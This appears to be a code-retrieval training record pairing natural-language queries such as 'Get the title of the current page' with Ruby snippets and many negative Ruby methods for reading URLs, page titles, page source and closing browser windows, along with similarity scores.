"def current_path\n current_url = page.current_url\n url_match = URL_REGEX.match(current_url)\n return url_match[4] if url_match\n\n # Special case: prepend a slash to the path to force a valid URL for things like\n # \"about:srcdoc\" iframe srcdoc pages.\n current_url = \"/#{current_url}\" if current_url[0] != '/'\n\n current_url\n end",
"def page_url\n page_value = @current_page == 1 ? 0 : @current_page\n \"#{URL}?page=#{page_value}\"\n end",
"def url\n\n begin\n url = @driver.current_url\n\n rescue Exception => e\n @@logger.an_event.error \"get current url : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_URL, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"get current url : #{url}\"\n url\n end\n end",
"def url(page)\n if self.class.base_url.blank?\n return super(page)\n else\n url_params = {}\n add_current_page_param(url_params, page)\n ret = @template.url_for(url_params)\n \"#{self.class.base_url}?#{ret.split('?')[-1]}\"\n end\n end",
"def url(page)\n if self.class.base_url.blank?\n return super(page)\n else\n url_params = {}\n add_current_page_param(url_params, page)\n ret = @template.url_for(url_params)\n \"#{self.class.base_url}?#{ret.split('?')[-1]}\"\n end\n end",
"def current_path\n URI.parse(current_url).path\nend",
"def url\n @browser.current_url\n end",
"def current_url\n self.last_effective_url\n end",
"def current_url(options = {})\n path = (options[:params] == true) ? request.fullpath : request.path\n \"#{current_host}#{path}\"\n end",
"def url\n evaluate(\"document.location.href\")\n end",
"def actual_url\n @browser.current_url\n end",
"def current_page_url( opts = {} )\n if current_page.present?\n if !opts.key?(:locale) || opts[:locale] == current_page.lang\n current_page.url\n else\n # find this page in other lang\n other_page = Aerogel::Pages::Traversal.find_closest_in_other_lang( current_page, opts[:locale] )\n return nil unless other_page.present?\n url_to( other_page.url, opts )\n end\n else\n current_url opts\n end\nend",
"def current_url\n webdriver.current_url\n end",
"def page_url\n @page_url ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"]).chomp('index.html').chomp('.html')\n end",
"def page_path_from_url(url)\n ::URI.parse(url).request_uri\n end",
"def get_url page\n begin\n return env_or_config(\"pages.#{page}\")\n rescue RuntimeError\n return env_or_config(\"pages.#{page}.path\")\n end\n end",
"def current_path\n return nil if current_url.nil?\n return current_url.gsub(\"http://www.example.com\",\"\")\n end",
"def navigationUrl\n @url\n end",
"def url\n self.page.try(:url) || @url\n end",
"def get_page_url\n $driver.current_url\nend",
"def href\n `window.location.href`\n end",
"def page_url(page)\n \"#{request.path}?page=#{page}\"\n end",
"def url\n page&.url_path || read_attribute(:url).presence\n end",
"def home_page_url\n return @home_page_url\n end",
"def current_host\n return nil unless agent && agent.current_page\n uri = agent.current_page.uri\n \"#{uri.scheme}://#{uri.host}\"\n end",
"def url\n send(\"url_#{page.env}\")\n end",
"def url\n Config.site.url.chomp('/') + self.path\n end",
"def current_path\n url_for(params)\n end",
"def url\n page && \"/#{page.urlname}\" || read_attribute(:url).presence\n end",
"def url_for(page)\n base_url_for(\"#{model.link}/#{page}\")\n end",
"def url\n @driver.current_url\n end",
"def base_url_for(page)\n \"#{request.path}#{model.framework.prefix}/#{page}\"\n end",
"def url; (page.url rescue ''); end",
"def url; (page.url rescue ''); end",
"def path\n @global_page.path\n end",
"def url\n if self.controller and self.action and self.page_id\n return \"/#{self.controller}/#{self.action}/#{self.page_id}\"\n end\n if self.controller and self.action\n return \"/#{self.controller}/#{self.action}\"\n end\n if self.controller\n return \"/#{self.controller}\"\n end\n return \"/#{self.shortcut}\"\n end",
"def current_page; end",
"def current_page; end",
"def current_url\n driver.current_url\n end",
"def page_url\n nil\n end",
"def current_page\n @current_page\n end",
"def get_current_url\n remove_context_path(@current_url)\n end",
"def page\n\t\tpage = request.path.split(\"/\")[-1]\n\tend",
"def current_page_link(path)\n \"current-page\" if current_page?(path)\n end",
"def url\n\t\t\t@data[\"content_urls\"][\"desktop\"][\"page\"]\n\t\tend",
"def url\n driver.getCurrentUrl\n end",
"def webpage_url\n @response.effective_url || @webpage_request.url\n end",
"def url\n @current_controller.url_for :controller => @controller_name, :action => @action_name\n end",
"def pages_url\n return @pages_url\n end",
"def page_url(page_url)\n \t\"/#{current_group.url}/#{page_url}\"\n end",
"def entry_url(page)\n services.url_builder.url_for(page)\n end",
"def landing_url\n active_plugins.first_url_in_menu\n end",
"def auto_path\n cur_page.auto_path\n end",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend",
"def site_url\n get_url(:site)\n end",
"def current_url(overwrite={})\n url_for :only_path => false, :params => params.merge(overwrite)\n end",
"def back_url\n ref = request.referer\n pattern = /^#{root_url}.*/i\n unless pattern.match(ref).nil?\n url = ref\n else\n url = \"#{root_url.chop}#{url_for :controller => params[:controller], :action => 'index'}\"\n end\n \n url\n end",
"def href\n if clickable?\n # current_piece.url > current_data_item.url > current_page.url\n return page_layout.href if get_content_param_by_key( :context ) > 0\n return self.collection_tag.running_data_item.path if self.collection_tag.running_data_item.present?\n return self.collection_tag.current_page_tag.path\n end\n end",
"def path\n raise NotImplementedError, \"implement me to support page.visit, e.g. '/relatve_URI_of_this_page'\"\n end",
"def url\n\t\tif relative? then\n\t\t\tif page.bases[0] then\n\t\t\t\t page.bases[0].href + src\n\t\t\telse\n\t\t\t\tpage.uri + src\n\t\t\tend\n\t\telse\n\t\t\tsrc\n\t\tend\n\tend",
"def current_page\n response[\"current_page\"]\n end",
"def path\n `window.location.pathname`\n end",
"def url\n if @website_file.in_blog?\n blog_folder.currentpath + @name + \"index.html\"\n else\n siteroot.currentpath + @name + \"index.html\"\n end\n end",
"def prev_page_url\n if @page <= 2\n request.path\n else\n \"#{request.path}?page=#{@page - 1}\"\n end\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def cururl\n Chrome.windows[1].get.tabs[Chrome.windows[1].get.active_tab_index.get].get.URL.get.strip\nend",
"def current_user_url\n view_context.user_url(current_user)\n end",
"def url\n @browser.url\n end",
"def get_application_url\n @next_url.present? ? @next_url : GlobalConstant::WebUrls.admin_dashboard\n end",
"def url\n return nil if page.hidden?\n\n [ self.preferred_domain.url, self.path.gsub(/^\\//, '') ].join # facets\n end",
"def base_url\n base_href || url\n end",
"def current_page\n @page\n end",
"def friendly_current_page\n begin\n params[\"controller\"] + \"-\" + params[\"action\"]\n rescue\n \"example-app\"\n end\n end",
"def base_url\n current_base_href = base_href.to_s.strip.empty? ? nil : URL.absolutify(base_href, URL.new(url).root_url)\n current_base_href || url\n end",
"def current_page\n @agent.current_page\n end",
"def url\n \"http://#{self.cms_site.hostname}#{self.full_path}\"\n end",
"def url_desktop_page\n\t\t\t@data[\"content_urls\"][\"desktop\"][\"page\"]\n\t\tend",
"def current_page?(url); end",
"def get_home_link()\n if current_page?(root_path)\n return '#'\n else\n return root_path\n end\n end",
"def url()\r\n @window_url\r\n end",
"def geturl() \n\t\treturn self.response.geturl()\n end",
"def absolute_url_from(page_url, current_url)\n return unless eligible_url?(page_url)\n parsed_uri = URI.join(current_url, page_url) rescue return\n return unless parsed_uri.hostname == @base_hostname\n parsed_uri.to_s\n end",
"def next_page_url\n \"#{request.path}?page=#{@page + 1}\"\n end",
"def landing_page_url\n svc = minter\n return nil unless svc.present?\n\n svc.respond_to?(:landing_page_url) ? svc.landing_page_url : nil\n end",
"def current\n pages.current\n end",
"def _url\n return @link['href'] unless _templated?\n\n @url ||= _uri_template.expand(@uri_variables || {}).to_s\n end"
] | [
"0.886142",
"0.886142",
"0.86133146",
"0.81880516",
"0.81306684",
"0.8050739",
"0.80100894",
"0.7834755",
"0.7808778",
"0.77781594",
"0.77584475",
"0.7673884",
"0.7639655",
"0.7639655",
"0.7587113",
"0.7570786",
"0.75698334",
"0.7531697",
"0.7525201",
"0.7494421",
"0.74900633",
"0.7469667",
"0.74369305",
"0.7427066",
"0.7404692",
"0.7342217",
"0.7321666",
"0.7304475",
"0.7260513",
"0.724719",
"0.72274905",
"0.72105336",
"0.720699",
"0.71412766",
"0.7133432",
"0.7114893",
"0.711223",
"0.7075479",
"0.7044127",
"0.7024277",
"0.7009176",
"0.70067304",
"0.70067304",
"0.6997469",
"0.69400996",
"0.69144326",
"0.69144326",
"0.6906279",
"0.688936",
"0.6870725",
"0.6867957",
"0.68668985",
"0.68376756",
"0.6820417",
"0.68038493",
"0.68019277",
"0.6781812",
"0.6754474",
"0.6729",
"0.6723134",
"0.6717069",
"0.6712756",
"0.66966957",
"0.66966957",
"0.66966957",
"0.66966957",
"0.66966957",
"0.66849756",
"0.66749567",
"0.6670789",
"0.6664767",
"0.66586244",
"0.66326845",
"0.662927",
"0.659794",
"0.6591291",
"0.6569234",
"0.6560089",
"0.6560089",
"0.6557899",
"0.65576124",
"0.6552333",
"0.6525163",
"0.65140605",
"0.65085405",
"0.6480236",
"0.6479044",
"0.64697486",
"0.6467752",
"0.64546305",
"0.6451011",
"0.6433578",
"0.64335424",
"0.64326644",
"0.64324623",
"0.6427254",
"0.63821536",
"0.63751054",
"0.6371945",
"0.63541925"
] | 0.7303078 | 28 |
Get the title of the current page | def title
bridge.title
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def page_title\n page.title\n end",
"def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end",
"def title\n @global_page.title\n end",
"def page_title\n @web_browser.page_title\n end",
"def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end",
"def pageTitle\n (self || Home.new).title\n end",
"def page_title\r\n @web_browser.page_title\r\n end",
"def get_page_title\n uri = request.request_uri\n section = uri.split(\"/\").last\n title = case section\n # these should be consistent now\n when \"questions\" then \"Key Questions\"\n when \"publications\" then \"Publication Information\"\n when \"arms\" then \"Study Arms\"\n when \"design\" then \"Study Design\"\n when \"baselines\" then \"Baseline Characteristics\"\n when \"outcomes\" then \"Outcome Setup\"\n when \"results\" then \"Results\"\n when \"adverse\" then \"Adverse Events\"\n when \"quality\" then \"Study Quality\"\n else \"\"\n end\n return title\n end",
"def current_title\n evaluate(\"window.top.document.title\")\n end",
"def page_title\n @page_title || TaliaCore::SITE_NAME\n end",
"def title\n return @title if @title\n if matches = class_const(:TITLE_RE).match(page)\n @title = matches[1].to_s.strip\n title_processor\n @title = decode_entities(@title)\n end\n end",
"def page_title\n klass = Module.const_get(self.page.split('_').first)\n return klass.find(self.page.split('_').last.to_i).name || klass.find(self.page.split('_').last.to_i).title\n rescue NameError\n return self.page\n end",
"def title\n evaluate(\"document.title\")\n end",
"def title\n page.title\n end",
"def page_title\n title = t(\"#{controller_name}.#{action_name}.title\")\n html = <<-HTML\n <div class=\"page-header\">\n <h1>#{title}</h1>\n </div>\n HTML\n html.html_safe\n end",
"def currentWindowTitle\n begin\n return theBrowser.title\n rescue\n return nil\n end\n end",
"def title\n base_title = \"CloudSpokes Coding Challenges\"\n if @page_title.nil?\n base_title\n else\n \"#{base_title} - #{@page_title}\"\n end\n end",
"def get_title\n @doc.css('title').text\n end",
"def page_title\n return \"#{this_webapp.webapp_name} - #{@page_title}\" if @page_title\n return \"#{this_webapp.webapp_name}\"\n end",
"def page_title( this_title = nil )\n content_for( :title ) { \"#{ SITE_ID }: #{ this_title.nil? ? I18n.t( controller.controller_name + '.title' ) : this_title }\" }\n end",
"def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end",
"def header_text(page_title)\n page_title || @@base_title\n end",
"def page_title(title = nil)\n if title\n content_for(:page_title) { title }\n else\n content_for?(:page_title) ? content_for(:page_title) : APP_CONFIG[:site_name] # or a hard-coded default\n end\n end",
"def page_title\n if controller_name == 'pages'\n title = t \"#{action_name}_page\"\n \"#{app_name} | #{title}\" # e.g.: 'Ror4 | Home'\n else\n if @page_title.nil?\n \"#{app_name} | #{t controller_name}-#{t action_name}\" # e.g.: 'Ror4 | groups-index'\n else\n \"#{app_name} | #{t @page_title}\" # e.g.: 'Ror4 | Show group Manager'\n end\n end\n end",
"def title\n @browser.title\n Logbook.message(\"Page title is #{@browser}\")\n end",
"def get_page_title(page_doc)\n\treturn page_doc.css('title').text.strip\nend",
"def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end",
"def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end",
"def page_title\n if @title.present?\n I18n.t('page_title', :page_title => @title, :blog_title => blog_title)\n else\n I18n.t('home_title', :blog_title => blog_title)\n end\n end",
"def page_title\n title = \"Amplify\"\n title.prepend(\"#{@page_title} | \") if @page_title\n title\n end",
"def page_title(title)\n content_for_wrapper(:page_title, title)\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def page_title\n active_div.div(:class=>\"s3d-contentpage-title\").text\n end",
"def page_title title= nil\n\t\tif title\n\t\t\tcontent_for(:page_title) { \"#{title} - 2da.re\" }\n\t\t\treturn title\n\t\telse\n\t\t\tcontent_for?(:page_title) ? content_for(:page_title) : \"Ready 2da.re?\"\n\t\tend\n\tend",
"def page_title\n \n page_title = @renderer.title title()\n \n puts \"[Cutlist.page_title]: #{page_title}\" if $cutlister_debug\n \n page_title\n \n end",
"def name; (page.title rescue ''); end",
"def name; (page.title rescue ''); end",
"def page_title\n end",
"def page_title\n nil\n end",
"def page_title\n layout = controller.send(:_layout)\n base_title = I18n.t(\"layouts.#{layout}.title\", default: :'layouts.application.title')\n\n i18n_scope = \"#{params[:controller].gsub('/', '.')}.#{action_name}\"\n i18n_parts = [\n content_for(:page_title),\n I18n.t(:page_title, default: \"\", scope: i18n_scope).presence,\n I18n.t(:title, default: \"\", scope: i18n_scope).presence\n ]\n title_content = i18n_parts.compact.first\n [base_title, title_content].compact.join(' - ')\n end",
"def title\n _title = self[\"title\"]\n _title ? _title[\"$t\"] : nil\n end",
"def scrape_title( page )\n\t\tpage.title.split( ' - ' )[0]\n\tend",
"def title\n @title ||= hash.fetch('title') { |key|\n raise \"Page id=#{id} is missing #{key}\"\n }\n end",
"def title\n if detail_page?\n \"#{resource.name} - #{menu.name} - #{website_tag.name}\"\n else\n \"#{menu.name} - #{website_tag.name}\" \n end \n end",
"def title\n base_title = \"My Site\"\n unless @title.nil?\n \"#{base_title} | #{@title}\"\n else\n base_title\n end\n\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n connection.write(\"get_title\", false)\n end",
"def title\n browser.title\n end",
"def page_title() nil end",
"def get_title()\n return @title\n end",
"def page_title(page_title = nil)\n @page_title ||= page_title\n @page_title.nil? ? \"Carers: #{action_name}\" : \"#{@page_title} @ Lort Smith\"\n end",
"def site_title\n @site.title\n end",
"def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end",
"def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end",
"def title\n @doc.xpath(\"/html/head/title\").first&.text\n end",
"def title(page_title)\n content_for(:title) { page_title }\n end",
"def title(page_title)\n content_for(:title) { page_title }\n end",
"def title(page_title)\n content_for(:title) { page_title }\n end",
"def title(page_title)\n content_for(:title) { page_title }\n end",
"def\n get_title()\n @title\n end",
"def title\n @title ||= parsed_document.css('title').inner_text rescue nil\n end",
"def title(page_title)\n\t content_for(:title) { page_title }\n\tend",
"def page_title; end",
"def get_title()\n @title\n end",
"def title\n @data.title ||= parsed_document.css('title').inner_html.gsub(/\\t|\\n|\\r/, '') rescue nil\n end",
"def title\n @title ||= parsed.css('head title').inner_text rescue nil\n end",
"def title(page_title = nil)\n if page_title\n content_for(:title) do\n page_title\n end\n else\n content_for(:title) do\n \"DateIdeas.ca\"\n end\n end\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def title\n (\"\\0\" * 256).tap do |buffer|\n WIN[:get_title].call(buffer, buffer.length - 1)\n end.gsub \"\\0\", ''\n end",
"def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end",
"def title(page_title = '')\n\t\tbase_title = \"AB Online Shop\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tpage_title + \" | \" + base_title\n\t\tend\n\tend",
"def page_title(page)\n return site_title if page.title.nil? || page.title.empty?\n\n title = t(\"titles.#{page.title}\",\n flavor: settings.site_name.capitalize,\n default: [\"docs.#{page.parent}.#{page.title}\".to_sym,\n page.title.to_s.titleize])\n\n if page.parent.nil?\n parent_title = site_title\n else\n parent_title = t(\"titles.#{page.parent}\",\n flavor: settings.site_name.capitalize,\n default: site_title)\n end\n\n \"#{title} | #{parent_title}\"\n end",
"def title(page_title)\n content_for :title do\n page_title\n end\n end",
"def title\n @browser.title\n end",
"def get_title\n @title\n end",
"def title\n @info[:Title]\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def show\r\n @page_title = @page.title\r\n end",
"def get_title(url)\n Mechanize.new.get(url).title\n end",
"def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end",
"def title\n @title ||= (Nokogiri::HTML.parse(@html).title).to_s.gsub(/\\n|\\t|\\r/,\"\")\n end",
"def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def page_title\n \t\"PatTalk\"\n end",
"def _title\n @link['title']\n end",
"def full_title(page_title)\n if page_title.empty?\n app_name\n else\n \"#{page_title} | #{app_name}\"\n end\n end",
"def page_title(page_title)\n content_for_layout :page_title, page_title\n end",
"def render_page_title\n (content_for(:page_title) if content_for?(:page_title)) || @page_title || application_name\n end",
"def page_title\n title = @page_title ? \"/ #{@page_title}\" : ''\n content_tag(:title, 'GONDI.tv ' + title)\n end",
"def page_title\n case\n when @post\n \"#{@post.title} - Ben Hoad\"\n when @tag\n \"Tagged with ##{@tag} - Ben Hoad\"\n else\n \"Ben Hoad\"\n end\n end",
"def full_title(page_title = '')\n base_title = app_name\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def title(page_title)\n content_for :page_title, page_title.to_s.html_safe\n end",
"def base_title(page_title = '')\n base_title = \"Sergio Mironescu\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | Alfalfa\"\n end\n end"
] | [
"0.8640375",
"0.85080403",
"0.8472251",
"0.83716315",
"0.82762736",
"0.8269075",
"0.82617664",
"0.8243131",
"0.8178011",
"0.8116256",
"0.8005099",
"0.8005026",
"0.7994893",
"0.7986339",
"0.7954728",
"0.7945814",
"0.7944264",
"0.79423314",
"0.79090506",
"0.7904128",
"0.78976905",
"0.78788245",
"0.7856803",
"0.785388",
"0.7852361",
"0.78493387",
"0.7824961",
"0.7822752",
"0.7821448",
"0.78174007",
"0.78127426",
"0.7802007",
"0.7802007",
"0.7802007",
"0.7793833",
"0.7779679",
"0.7774789",
"0.7774789",
"0.7767721",
"0.7755031",
"0.7743893",
"0.77378064",
"0.7734171",
"0.77138084",
"0.7702716",
"0.770055",
"0.76948035",
"0.76948035",
"0.76948035",
"0.76831436",
"0.76756585",
"0.76682377",
"0.7664022",
"0.7652643",
"0.7649255",
"0.7645736",
"0.76417077",
"0.763515",
"0.763515",
"0.763515",
"0.763515",
"0.7626157",
"0.7623054",
"0.7622621",
"0.7610082",
"0.760846",
"0.76067924",
"0.7582915",
"0.7577947",
"0.7569735",
"0.7569735",
"0.75656134",
"0.75653785",
"0.7557432",
"0.7557254",
"0.7552707",
"0.7550947",
"0.7539224",
"0.7533019",
"0.7533019",
"0.7533019",
"0.7533019",
"0.7533019",
"0.7533019",
"0.7533019",
"0.7531335",
"0.7529188",
"0.7517871",
"0.7509072",
"0.75072366",
"0.750577",
"0.7501088",
"0.7495078",
"0.749433",
"0.74880385",
"0.7483314",
"0.7480066",
"0.747981",
"0.74774104",
"0.74743235",
"0.74721783"
] | 0.0 | -1 |
Get the source of the current page | def page_source
bridge.page_source
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def page_source\r\n @browser.page_source\r\n end",
"def page_source\n @web_browser.page_source\n end",
"def page_source\r\n @web_browser.page_source\r\n end",
"def html_source\n @page_source.page_source\n end",
"def current_url\n @rawpage.current_url\n end",
"def page_source; end",
"def page_source\n driver.page_source\n end",
"def source\n current_frame.getWebResponse.getContentAsString\n end",
"def current_url\n page.current_url\n end",
"def current_url\n page.current_url\n end",
"def html_source\n @html_source ||= fetch_uri uri if uri\n @html_source\n end",
"def source\n @source ||= begin\n source = ::Sources::Site.new(url)\n source.get\n\n source\n end\n end",
"def get_page_source(page_url)\n url = URI.parse(page_url)\n req = Net::HTTP::Get.new(url.path)\n Net::HTTP.start(url.host, url.port) do |http|\n http.request(req)\n end\nend",
"def content\n self.source? ? self.source.url : self.default_source_url\n end",
"def content\n self.source? ? self.source.url : self.default_source_url\n end",
"def url\n @browser.current_url\n end",
"def html\n @driver.page_source\n end",
"def view_source\n File.read(@script)\n end",
"def html\n driver.getPageSource\n end",
"def current_url\n page.driver.browser.current_url\n end",
"def current_url\n page.driver.browser.current_url\n end",
"def content_source\n return @content_source\n end",
"def site\n self.__source.try(:site)\n end",
"def source\n @source\n end",
"def source\n @source\n end",
"def source\n return @source\n end",
"def source\n return @source\n end",
"def actual_url\n @browser.current_url\n end",
"def get_page()\n @page = Nokogiri::HTML(open(@url).read)\n end",
"def current_url\n evaluate(\"window.top.location.href\")\n end",
"def url\n self.page.try(:url) || @url\n end",
"def url\n evaluate(\"document.location.href\")\n end",
"def source_url\n settings.source_url\n end",
"def fetch_starting_page\n case @source\n when 'site' then page_repository.root\n when 'parent' then page_repository.parent_of(current_page) || current_page\n when 'page' then current_page\n else\n page_repository.by_fullpath(@source)\n end\n end",
"def source_file\n @source_location[0]\n end",
"def get_url path\n\t\t\t\[email protected] path, {}, {'REQUEST_URI' => ['http://example.org', path].join('/')}\n\t\t\t\tresponse = @browser.last_response\n\t\t\t\tresponse.body\n\t\t\tend",
"def source\n ap get_source\n end",
"def full_url\n self.source.full.url\n end",
"def get_page_url\n $driver.current_url\nend",
"def url\n @driver.current_url\n end",
"def source_file\n return @source_file\n end",
"def url; (page.url rescue ''); end",
"def url; (page.url rescue ''); end",
"def current\n pages.current\n end",
"def url\n\t\tif relative? then\n\t\t\tif page.bases[0] then\n\t\t\t\t page.bases[0].href + src\n\t\t\telse\n\t\t\t\tpage.uri + src\n\t\t\tend\n\t\telse\n\t\t\tsrc\n\t\tend\n\tend",
"def current_url\n webdriver.current_url\n end",
"def url\n\t\t\t@data[\"content_urls\"][\"desktop\"][\"page\"]\n\t\tend",
"def url\n\n begin\n url = @driver.current_url\n\n rescue Exception => e\n @@logger.an_event.error \"get current url : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_URL, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"get current url : #{url}\"\n url\n end\n end",
"def source\n File.read(source_path)\n end",
"def script\n @source\n end",
"def url\n @browser.url\n end",
"def page_text\n @web_browser.text\n end",
"def page\n\t\tself.out \"page #{@site}\"\n\t\treturn @site\n\tend",
"def request\n @source.request\n end",
"def url\n driver.getCurrentUrl\n end",
"def page_text\r\n @web_browser.text\r\n end",
"def source\n @source || load_file_contents\n end",
"def current_path\n current_url = page.current_url\n url_match = URL_REGEX.match(current_url)\n return url_match[4] if url_match\n\n # Special case: prepend a slash to the path to force a valid URL for things like\n # \"about:srcdoc\" iframe srcdoc pages.\n current_url = \"/#{current_url}\" if current_url[0] != '/'\n\n current_url\n end",
"def source_uri\n URI.parse(url_for(@software))\n end",
"def current_page; end",
"def current_page; end",
"def url\n @browser.url\n end",
"def get_source\n # must set max nesting. default limit of 20 is too low for selendroid\n JSON.parse @driver.page_source, max_nesting: 9999\n end",
"def get_base\n if @data =~ /<\\s*base[^\\>]*href\\s*=\\s*[\\\"\"\\']?([^\\\"\"\\'\\s>]*).*?>/im\n # if base tag is set in the page, use it\n \n base = ($1[-1] == ?/) ? $1 : $1 + \"/\"\n \n # remove base tag\n @data.gsub!($&, \"\")\n \n base\n else\n # if not, get it from source url\n \n uri = URI.parse(@source)\n \n if uri.scheme == \"http\" \n unless uri.path[-1] == ?/\n if pos = uri.path.rindex('/')\n uri.path = uri.path[0..pos]\n else\n uri.path = nil\n end\n end\n \n URI::HTTP.build([uri.userinfo, uri.host, uri.port, uri.path, nil, nil]).to_s\n else\n nil\n end\n end\n end",
"def current_page\n @agent.current_page\n end",
"def current_page\n @current_page\n end",
"def original_url\n self.source.url\n end",
"def source\n self\n end",
"def current_page\n response[\"current_page\"]\n end",
"def CurrentPage\r\n\r\n puts \"I'm now on \" + $browser.url\r\n puts $newline\r\n\r\nend",
"def source\n self\n end",
"def webpage_url\n @response.effective_url || @webpage_request.url\n end",
"def head\n self.class.head(url)\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def current_url; end",
"def source\n @data['source']\n end",
"def source_location; end",
"def source\n return @source if @source\n WHITELIST_REGEXES.each_pair do |name, reg|\n if source_url =~ reg\n @source = name\n break\n end\n end\n @source\n end",
"def geturl() \n\t\treturn self.response.geturl()\n end",
"def get_page_source(user)\n response = Curl.get(\"https://github.com/#{user}\").body_str\n fail GitHub::Exceptions::UserNotFoundException.new(user) if /Not Found/ =~ response\n Nokogiri::HTML(response, &:noblanks)\n end",
"def current_page\n page_cursor.peek\n end",
"def current_url\n return Knj::Web.url\n end",
"def page\n get_page\n nil\n end",
"def source\n result_hash['src']\n end",
"def debug\n @current_page\n end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end",
"def source; end"
] | [
"0.82085437",
"0.818482",
"0.81673557",
"0.77395374",
"0.74788296",
"0.74394286",
"0.7306498",
"0.7119335",
"0.70359874",
"0.70359874",
"0.700822",
"0.6984468",
"0.69714725",
"0.67414075",
"0.67414075",
"0.6706782",
"0.6703949",
"0.6674284",
"0.66260195",
"0.6578876",
"0.65252006",
"0.65019363",
"0.64963675",
"0.64072704",
"0.64072704",
"0.64018226",
"0.64018226",
"0.63934267",
"0.63845503",
"0.63169533",
"0.6309844",
"0.6280595",
"0.62737507",
"0.6265525",
"0.6252571",
"0.61950064",
"0.61886775",
"0.6186166",
"0.6165116",
"0.6164855",
"0.6162316",
"0.61447704",
"0.61447704",
"0.614022",
"0.6132917",
"0.6128951",
"0.61035097",
"0.6085629",
"0.6076557",
"0.6070467",
"0.6063919",
"0.6058357",
"0.6014526",
"0.59823567",
"0.5966968",
"0.59633356",
"0.59621537",
"0.5955051",
"0.5940587",
"0.59388244",
"0.59388244",
"0.5935115",
"0.5932214",
"0.59301406",
"0.59298176",
"0.5923289",
"0.5904837",
"0.59037656",
"0.5891432",
"0.58891875",
"0.5879054",
"0.5863381",
"0.58602625",
"0.58553493",
"0.58553493",
"0.58440125",
"0.5843772",
"0.58370715",
"0.58289015",
"0.58241",
"0.58227164",
"0.58178866",
"0.5815925",
"0.58126235",
"0.5809996",
"0.58038026",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617",
"0.5791617"
] | 0.78113675 | 3 |
Close the current window, or the browser if no windows are left. | def close
bridge.close
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
